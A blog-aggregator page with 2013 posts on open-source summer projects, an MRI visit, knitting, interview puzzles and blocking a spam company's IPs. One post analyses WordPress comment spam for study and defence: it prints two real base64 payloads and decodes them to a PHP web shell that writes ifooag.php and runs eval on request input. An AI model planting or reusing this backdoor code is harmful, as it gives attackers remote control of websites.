Kemal Eren, scikit-learn: Biclustering algorithms, scoring, and data generation
Nicolas Trésegnie, Scikit-learn : online low rank matrix completion


SciPy
Surya Kasturi, SciPy: Improving functionality and Maintainability of SciPy Central
Arink Verma, SciPy/NumPy : Performance parity between numpy arrays and Python scalars
Blake Griffith, Improvements to the sparse package of Scipy: support for bool dtype and better interaction with NumPy




SfePy
Ankit Mahato, SfePy: Enhancing the solver to simulate solid-liquid phase change phenomenon in convective-diffusive situations


Statsmodels
Ana Martínez Pardo, Statsmodels: Discrete choice models
Chad Fulton, Statsmodels: Time Series Analysis Extensions (esp. regime-switching models)


SunPy
Michael J. Malocha, SunPy - Interfacing with Heliocphysics Databases
Simon Liedtke, SunPy: Database of local data



Tahoe-LAFS
Mark Berger, Upload Strategy of Happiness in Tahoe-LAFS


Twisted
Shiyao Ma,Twisted: Switching to Formal Parsers
Kai Zhang,Twisted: Deferred Cancellation

We had a great number of talented applicants and I only wish we'd been able to take more of them. Congratulations to those accepted and to the rest of you, I hope you'll apply again next year!

comment count unavailable comments

June 10, 2013 12:47 AM

June 07, 2013

"gonna go to the place that's the best"

The MRI was unintentionally hilarious. I'd just gotten moved into my magical science magneto-coffin and told I couldn't move anymore then what comes on the headphones but spirit in the sky.

"When I die and they lay me to rest
Gonna go to the place that's the best"


Oy, it was hard not to laugh to that while lying still on a slab holding my emergency "get me out of here" button. (which isn't a button so much as an old-school camera bulb!)

Anyhow, other than that it was loud (as expected) but not as boring as I'd thought it would be because the noises it makes change often enough to keep me thinking about what might be going on in there, and honestly, just staying still for 20 minutes takes a fair bit of concentration for me. Plus I had the headphones and 70's rock to keep me amused (that was my choice and *clearly* it was the right one). Sometimes I had to just focus on the cowbell to stay still, because apparently that is how I work. The headphones are kind of cool -- rather than wires, they've got tubes filled with music and occasional instructions from the radiologist.

I won't have results 'till sometime next week; I presume the doctor will phone me like she did last time. I'm hoping I can get copies of the MRI and Xrays so I can see my innards, 'cause how cool would that be?

A twitter friend suggested I should make a list of #innappropriateMRIsongs, so in that vein, I give you Mystery and Crime:

Oh no, what have I done?
Oh no, what have I done?
I've got a pain in my heart
A beat that's as loud as a drum
Now, now what do I do?
Now, now what do I do?
You got to get me out of here
Before these brand new clothes aren't new anymore


And that's not even getting to the murder murder murder part that's the usual reason this is a totally inappropriate song for all occasions. (I once had to stop myself from singing it in an airport...)

I dare you all to think of more inappropriate MRI songs, but I'm going to bed!

comment count unavailable comments

June 07, 2013 05:59 AM

May 31, 2013

Leafy sweater for Baby O’Byrne

This little leafy sweater is a present for Baby O’Byrne, whose name is a secret until she makes it out into the world. She was due a few days ago as I’m writing this; I’m just waiting for the announcement of her arrival! I’ve scheduled this post to go up on May 31st, and we’ll see if she comes out before it does.

IMG_9431

I’ve been friends with Baby O’Byrne’s dad for a long time, so this sweater was made with him in mind. Ken and I have spent a great many hours hiking and camping together, so I had bought some variagated green yarn and when I saw this pattern in a book at the library, I figured I had a match.

IMG_9430

The little details of the pattern are what drew me in. I really like the leafy motif and the little seed-stitch edging is not only cute, but keeps the piece from curling up too much at the edges. Clever! And speaking of details, aren’t those buttons adorable? I bought them originally for a project of my own and had enough left over for the sweater. Here’s a close up:

IMG_9433

This isn’t the only piece I’ve made for her, but I forgot to take photos before packaging the rest up in time for the baby shower. (This one wasn’t ready in time so got sent later.) Oops! Her dad has a new camera, though, so maybe he’ll have time to take pictures of her wearing the two hats and two sets of booties I sent along before this sweater was finished. We’ll see how co-operative she is, though!

The Pattern:

Autumn Leaves by Nikki Van De Car from “What to Knit When You’re Expecting.” I really liked the book and will probably be buying my own copy rather than monopolize the library one again!

by Dr. Terri at May 31, 2013 03:00 PM

May 27, 2013

Knitted Finger Moustache

Today’s project does double-duty as both a knitting project and a photo assignment: a knitted finger moustache and a self portrait for Active Assignment Weekly.

Knitted Finger Moustache Triptych

Taken for AAW: 20 – 27 May: You look Marvelous (and Ravelry)

I found this project on Ravelry late one evening when I was trying to find errata for another pattern which was totally not working for me, and this seemed like the perfect antidote to the frustration. I was debating doing some photos with some inanimate objects like the link above shows, but I happened to check AAW and noticed today’s deadline on the self-portrait assignment for this week hadn’t hit yet, so… self-portrait time!

This being a self portrait assignment that I had an hour and a half to shoot, process and submit, it’s sans-makeup or even a hairbrush. That’s pretty much me on a lazy holiday Monday anyhow — silly knitting project, a camera, a book, and a computer.

What it took (photo-wise):

These are pretty much straight out of camera aside from stitching them together for a triptych, although I admit to photoshopping the scratch on my forehead and removing a stray hair that looked weird. I didn’t plan for a triptych or the eye thing, these just happened to be among the best of my “let’s goof off with my silly knitting project in front of my camera with a remote” shots.

Things I learned:

- Putting all the photos on one layer, moving them around, then doing image->reveal all in photoshop makes triptyches *waaaay* easier. No more figuring out canvas size!
- you can resize just one layer by using ^T in photoshop, just don’t forget to tell it when you’re done or it acts all locked.

The knitting pattern:

It’s a moustache, for your fingers! by Megan Death (It’s free!)

by Dr. Terri at May 27, 2013 07:45 PM

May 06, 2013

Falling down the rabbit hole: An analysis of some questionable blog spam

WARNING: This entry contains some actual malicious code. I've HTML-escaped it so that it isn't going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you're going to mess around with analyzing, do it in a browser that's not logged in to any Wordpress blog.


So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:


eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));


Or this clearly related one (note that the top of the string is the same):

aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==


As you can tell from the first sample, it's base64 encoded... something. b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn't enough to tell me that something bad was intended, the b64 encoding itself would have been a clue. If I didn't have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).

Being a curious sort of person, I decoded the first string. In my case, I just opened up Python, and did this:


>>> import base64
>>> base64.b64decode(badstring1)
"if($f=fopen('wp-content/cache/ifooag.php','w')){fputs($f,'<?php /*N%P`%*/eval/*If\\',-*/(/*>6`He*/base64_decode/*@M)2*/(/*~:H5*/\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'/*OzM520*/./*9J+,*/\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'/*yAt&*/./*@5Dw&]N*/\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'/*Yabk*/./*O~qs*/\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'/*{YJ}1*/./*v+(-;k*/\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'/*(kCp@Y>*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``>{*/;/*-|lTE1*/?>');fclose($f);}"


(Well, okay, I actually ran cgi.escape(base64.b64decode(badstring1)) to get the version you're seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that's not relevant to the code analysis, just useful if you're talking about code on the internet)

So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64). But we've learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to. I did a quick web search, and found a bunch of spam, so my bet is that they're opening a new file rather than modifying an existing one. And we can tell that they're trying to put some php into that file because of the <?php and ?> which are character sequences that tell the server to run some php code.

But that code? Still looks pretty much like gobbledegook.

If you know a bit about php, you'll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:


eval(base64_decode(\\'Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\'.\\'qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\'.\\'wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\'.\\'yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\'.\\'enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\'));


Feel like we're going in circles? Yup, that's another base64 encoded string. So let's take out the quotes and the concatenations to see what that is:


Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=


You might think we're getting close now, but here's what you get out of decoding that:


>>> base64.b64decode(badstring1a)
"/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/'c'/*1?@et[*/./*=,)*/'z'/*uTA93*/./*C{G:@4\\*/'l'/*8t o*/./*myM=<D`*/'z'/*xgg1v61*/./*VpIg4*/'y'/*e|jyA*/./*,v(*/'l'/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI'_*//*O_k*/)/*H@aK4T*/eval/*2N|20>*/(/*UsHmY]eZ*/stripslashes/*<Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/'c'/*Hoh*/./*XN;G*/'z'/*;&3(21d&]*/./*;POu*/'l'/*YYP3zu*/./*UliU-*/'zyl'/*FTY\\4*/]/*N?Rb>+f*//*K+KC*/)/*l@j*//*bX<*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v'I*/"


Yup, definitely going in circles. But at least we know what to do: get rid of the comments again.

Incidentally, I'm just using a simple regular expression to do this: s/\/\*[^*]*\*\///g. That's not robust against all possible nestings or whatnot, but it's good enough for simple analysis. I actually execute it in vim as :%s/\/\*[^*]*\*\///gc and then check each piece as I'm removing it.

Here's what it looks like without the comments:


if(isset($_REQUEST['c'.'z'.'l'.'z'.'y'.'l']))eval(stripslashes($_REQUEST['c'.'z'.'l'.'zyl']));


So let's stick together those concatenated strings again:


if(isset($_REQUEST['czlzyl']))eval(stripslashes($_REQUEST['czlzyl']));



Okay, so now it's added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That's actually pretty interesting: it's not fully executing the malicious payload now; it's waiting for an outside request. Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?

It's going to go to be a request that starts like this http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=

Unfortunately, I don't have access to the logs for the particular site I saw this on, so my analysis stops here and I can't tell you exactly what it was going to try to execute, but I think it's pretty safe to say that it wouldn't have been good. I can tell you that there is no such file on the server in question and, indeed, the code doesn't seem to have been executed since it got caught in the spam queue and discarded by me.

But if you've ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened. All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you're moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying. Thankfully it doesn't render it unusable!

Meanwhile, want to try your own hand at analyzing code? I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader. Happy hacking!

comment count unavailable comments

May 06, 2013 08:01 PM

Remove 80% of your blog comment spam by blocking IPTelligent!

I maintain a couple of blogs outside of this one, and the most popular one I'm involved with gets a lot of spam. There seemed to be a particular uptick about a month back, and I went to look into it.

What I discovered is that quite a lot of our spam (around 80%) was coming from one company called IPTelligent LLC. There's no easy way for me to tell if they are a legit company who simply have the worst IT staff in the history of IT staffs and all of their machines are compromised, or if they are, in fact, evil jerks who are repeatedly attempting to pollute the internet with really terrible spam. Given a short websearch, it seems pretty likely that IPTelligent is intentionally evil. I suppose one could argue that the level of incompetence displayed by someone who not only runs that many compromised machines but also serves up malware consistently is a form of evil even if it wasn't intentional. Whatever.

Either way, they are responsible for a rather large percentage of the spam we were receiving, and not responsible for any legit visits that we could see.

Since this particular blog uses Wordpress, solving the problem was pretty simple. Wordpress has built in lists for blocking comments, but they simply send to the moderation queue, as does popular plugin Akismet. Since we were seeing hundreds of messages per day from IPTelligent, I needed something that banned them more completely so our moderators wouldn't even see the messages and have to scan through them. Thankfully, there are lots of plugins for this. I settled on one called wp-ban that seems to be working well for my needs.

Once that's installed, the settings are under Settings->Ban. At the top of my list, I now have

# IPTelligent owns these ips, and they seem to be a spam company
96.47.225.*
173.44.37.*
96.47.224.*


Which covers the majority of the IP that were hitting us with spam. A glance at a more specific list of IPTelligent IPs suggests that those lines are good enough right now, although it's possible that they'll buy more IP blocks eventually. (We also have a longer list of other ips that appear to be compromised and were causing problems, but they look more like temporary compromises than intentional, long-term malice so I'm not listing those IPs here).

Of course, it would be better if someone took the company to court for this. I am not a lawyer, but it seems to me that the Computer Fraud and Abuse Act must cover at least some portion of their activities. I mean, the things they charged Aaron Swartz with under that act seem less sketchy than what IPTelligent is doing. But court cases take time and money, and banning them right now is pretty easy, so I figured I'd share the short-term solution in case it's useful to anyone who'd like to get a little less spam right away. (We are indeed getting ~80% less spam since the bans went into place.)

For the record, here's the company info as I get from the whois database right now:

OrgName:        IPTelligent LLC
OrgId:          IPTEL-1
Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN


comment count unavailable comments

May 06, 2013 06:29 PM

April 25, 2013

Two interview questions I enjoyed

There's a longer, friends-locked post before this one talking about the interviews I had this week, but it occurs to me that the more general public might get a kick out of the two interview questions that most amused me:

My new favourite interview question:

Given this code...

if ( X ) 
  print("hello")
else 
  print("world")



What do you need to insert in place of X in order to get this code to print "helloworld" ?



And the second one:


If you're in a room with a light bulb that's on, how can you make it be off?


(This was asked shortly after they told me they were asking to see if I had the security mindset, which is a pretty huge clue as to the types of answers they were hoping to hear. I had a lot of fun with this.)


I am leaving my answers out of this post so that you can think about the possibilities yourselves, but of course feel free to discuss in the comments.

comment count unavailable comments

April 25, 2013 11:13 PM

April 22, 2013

Finding the best thing (without reading all the reviews)

I know geeks are stereotypically supposed to love drooling over new technology and comparing specs and stuff, but that's never really been my scene. There are things I care about enough to do research on, things I have particular requirements for that I want to meet, and then there's everything else. I don't want to buy/download/use crap, and I don't want to read breathless review after breathless review.

So I was really excited to hear about The Wirecutter, which purports to just list off the best thing (with a few alternatives) in various classes of things.

It's interesting, too, that it's got stuff like the big wait sign on this page right now which tells you that new stuff is coming so if you're not desperate, you might as well wait 'till they've been able to review the new things. Makes me feel a lot more reassured about the freshness of their information.

Used it for the first time yesterday to replace my defective point-and-shoot camera (which is a longer story, but one I'm not telling today) and it was fantastic to spend so little time making a decision. We'll see how it works out long run, but it's already saved me hours of my life and I came away feeling pretty close to as informed as I do after reading All The Reviews. Win!

comment count unavailable comments

April 22, 2013 12:15 AM